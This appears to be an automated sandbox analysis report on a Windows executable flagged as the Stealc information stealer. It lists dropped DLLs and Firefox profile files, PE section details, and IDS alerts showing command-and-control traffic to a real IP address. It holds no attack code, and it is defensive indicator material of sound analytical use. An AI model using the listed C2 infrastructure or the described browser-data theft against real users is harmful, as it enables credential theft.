Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: fXg8zgxVTF.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949492760822559
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'862'144 bytes
MD5:	4a106f4006ac892e40b6772195f546db
SHA1:	7129a90f87de4291d8bac9e18cd14917309a9a76
SHA256:	2ad858093aa08d48957ea9a225c88e1dd2eba8eb062c491c0fd85bbbd998faf9
SHA512:	b1a068dfd022035aa375ae088acc63e12f4162407fdc53f762bab46d4507b4bfad202212eeb4c390e0456a2596d3db5855a615f68c0be3e83d8d9d10dad933d5
SSDEEP:	49152:cejAh7dzZ5Yg9vM9+6ja6NGOi82BMJpJKWzapyrq:cYUdzZ5YD9+UixYpJLapy
TLSH:	4C8533B31223685BC139A5BA6B333F40D92C7B33549D7F386FE2ED07A46696672C5090
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaaa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3F9CB7793Ah
cmovs ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F3F9CB79935h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	21437722861a7f5208a205e877861feb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2aa000	0x200	0fcdd6acb983d7f6912f97c9727511f5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jdnnncue	0x508000	0x1a1000	0x1a0600	5fac63b0e2b6b9d83a7f8eefcc7fde40	False	0.9951391755478836	data	7.954995793264939	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ljewnkhi	0x6a9000	0x1000	0x600	6dac04ea1b093841c42e8ce2cd0caf25	False	0.5872395833333334	data	5.084231057980812	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6aa000	0x3000	0x2200	f531856ef1606557788972007daf8972	False	0.06135110294117647	DOS executable (COM)	0.7864675887396385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-25T07:28:07.562760+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:07.847368+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:07.854037+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-25T07:28:08.131197+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:08.137992+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-25T07:28:09.291364+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:09.823035+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:18.067240+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:20.127571+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:21.016088+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:21.798850+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:23.471205+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:24.928380+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 07:28:06.351985931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:06.357582092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:06.357651949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:06.357826948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:06.363063097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:07.263237953 CEST	80	49704	185.215.113.37	192.168.2.5
